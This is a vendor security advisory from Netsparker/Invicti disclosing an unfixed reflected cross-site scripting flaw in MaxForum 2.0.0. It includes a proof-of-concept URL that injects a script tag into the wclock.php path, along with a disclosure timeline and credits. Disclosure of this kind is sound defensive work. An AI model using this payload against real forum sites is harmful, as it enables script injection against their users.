Reflected XSS Vulnerability in MaxForum 2.0.0


Advisory by Netsparker (now Invicti)
Name: Reflected XSS Vulnerability in MaxForum
Affected Software: MaxForum 2.0.0
Affected Versions: 2.0.0
Vendor Homepage: 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-17-017

Technical Details

Proof of Concept URL for XSS vulnerability in MaxForum 2.0.0;

URL: /Max_v2.0.0/libs/php/editor/wclock.php/'"--></style></scRipt><scRipt>alert(0x004083)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>netsparker(0x004083)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

28 Feb 2017 – Issue reported
Feb 2017 – Mar 2017 – Several attempts to get in touch
28 Mar 2017 – Advisory released


No solution is available at the time of publishing this advisory.

Credits & Authors

This issue has been discovered by Enes Aslanbakan while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.